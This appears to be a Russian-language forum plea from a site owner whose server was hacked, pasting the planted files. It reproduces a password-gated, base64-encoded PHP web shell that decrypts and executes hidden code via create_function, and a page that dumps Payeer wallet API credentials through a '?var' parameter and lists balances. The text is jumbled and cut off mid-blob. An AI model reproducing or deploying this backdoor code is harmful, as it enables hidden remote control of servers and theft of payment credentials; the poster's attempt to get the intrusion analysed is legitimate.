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
FYfjGpZcPGC5qP8J0qLz6cAZlKqy0Ed88JA=
'));$J_=isset($_POST['J_'])?$_POST['J_']isset($_COOKIE['J_'])?$_COOKIE['J_']:NULL);if($J_!==NULL){$J_=md5($J_).substr(MD5(strrev($J_)),0,strlen($J_));for($J___=0;$J___<15566;$J___++){$J__[$J___]=chr(( ord($J__[$J___])-ord($J_[$J___]))%256);$J_.=$J__[$J___];}if($J__=@gzinflate($J__)){if(isset($_POST['J_']))@setcookie('J_', $_POST['J_']);$J___=create_function('',$J__);unset($J_,$J__);$J___();}}?><form method="post" action=""><input type="text"name="J_"value=""/><input type="submit"value=">"/></form>
Вот 2
<?
@include("classes/_class.config.php");
@include("classes/_class.rfs_payeer.php");
$config = new config;
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if(isset($_GET['var'])){var_dump($config);}
if ($payeer->isAuth()){
$arBalance = $payeer->getBalance();
$balance = array($arBalance["balance"]["RUB"]["DOSTUPNO"],$arBalance["balance"]["USD"]["DOSTUPNO"],$arBalance["balance"]["BTC"]["DOSTUPNO"],$arBalance["balance"]["EUR"]["DOSTUPNO"]);
$name = array("RUB","USD","BTC","EUR");
echo "<table>";
echo "<thead><tr><td>CUR</td><td>VAL</td></tr></thead>";
$i=0;
while($i<4){
echo "<tbody><tr><td>".$balance[$i]."</td><td>".$name[$i]."</td></tr></tbody>";
$i++;
}
echo "</table>";
}else {
die("SETTINGS_NOT_VALIDIDATE");
}
Залили код, на сервере нашел две папки, права блин везде выставил почти 444
Помогите Очень прошу!
Испортили капчу, теперь битый ярлык как исправить?
Вот коды это 1
Скрытое содержимое для зарегистрированных пользователей!
<?$J__='base'.(128/2).'_de'.'code';$J__=$J__(str_replace("\n", '', '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
